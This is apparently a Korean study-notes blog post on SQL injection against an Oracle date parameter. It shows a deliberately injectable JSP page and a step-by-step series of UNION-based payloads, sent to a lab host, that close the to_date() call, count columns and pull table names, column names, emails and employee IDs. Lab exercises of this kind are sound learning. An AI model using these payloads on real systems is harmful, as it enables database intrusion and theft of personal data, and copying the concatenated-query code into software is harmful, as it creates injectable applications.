Self-Improvement
날짜형 데이터 SQLi(Oracle 데이터베이스) 본문
Oracle 데이터베이스는 데이터 형식에 가장 민감한 데이터베이스이다.
데이터를 뽑아낼때도 해당 칼럼이 문자형인지 정수형인지 알아낸후 그에 맞게 출력해야함
Mysql, MSsql은 유연적
소스코드 1
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<%@ page contentType="text/html; charset=euc-kr"%>
<%@ include file="dbcon.jsp"%>
<%@ page import="java.util.*,java.text.*"%>
<%
String _date = request.getParameter("date");
%>
<html>
<head>
<title>opensecurelab</title>
</head>
<body>
Participants in <%=_date%><br><br>
<table border=1 cellpadding=5 cellspacing=0>
<tr>
<td>Employee ID</td>
<td>FirstName</td>
<td>JOB_ID</td>
<td>HireDate</td>
</tr>
<%
sql="select * from employees where hire_date=to_date('"+_date+"','YYYY-MM-DD')";
stmt=con.createStatement();
rs=stmt.executeQuery(sql);
while(rs.next()){
String empid=rs.getString("employee_id");
String name=rs.getString("first_name");
String jobid=rs.getString("job_id");
String hiredate=rs.getString("hire_date");
%>
<tr>
<td><%=empid%></td>
<td><%=name%></td>
<td><%=jobid%></td>
<td><%=hiredate%></td>
</tr>
<%
}
if(rs != null) rs.close();
if(stmt != null) stmt.close();
if(con != null) con.close();
%>
</table>
</body>
</html>
|
cs |
- http://192.168.1.46:8080/empinfo_date.jsp?date=2003-06-17
- http://192.168.1.46:8080/empinfo_date.jsp?date=2003-06-17%27
| 2003-06-17','YYYY-MM-DD')-- |
- http://192.168.1.46:8080/empinfo_date.jsp?date=2003-06-17%27,%27YYYY-MM-DD%27)--
| 2003-06-17','YYYY-MM-DD') order by 11-- |
- http://192.168.1.46:8080/empinfo_date.jsp?date=2003-06-17%27,%27YYYY-MM-DD%27)%20order%20by%2011--
| 2003-06-17','YYYY-MM-DD') and 1=2 union select null,null,null,null,null,null,null,null,null,null,null from tabs-- |
| 2003-06-17','YYYY-MM-DD') and 1=2 union select 1,null,null,null,null,null,null,null,null,null,null from tabs-- |
| 2003-06-17','YYYY-MM-DD') and 1=2 union select 1,'second','three','four','five',current_date,null,null,null,null,null from tabs-- |
| 2003-06-17','YYYY-MM-DD') and 1=2 union select 1,table_name,'three','four','five',current_date,null,null,null,null,null from tabs-- |
| 2003-06-17','YYYY-MM-DD') and 1=2 union select 1,column_name,'three','four','five',current_date,null,null,null,null,null from cols where table_name='EMPLOYEES'-- |
| 2003-06-17','YYYY-MM-DD') and 1=2 union select 1,email,'three','four','five',current_date,null,null,null,null,null from employees -- |
| 2003-06-17','YYYY-MM-DD') and 1=2 union select 1,employee_id||','||first_name,'three','four','five',current_date,null,null,null,null,null from employees -- |
개별적으로 employee_id를 2번째 칼럼에 썼을땐 정수형을 문자형 칼럼에 썼으므로 오류가 났지만
%7c%7c == || 을 사용했을 시엔 데이터형식에 영향을 안받는것 같아 사용이 가능해진다
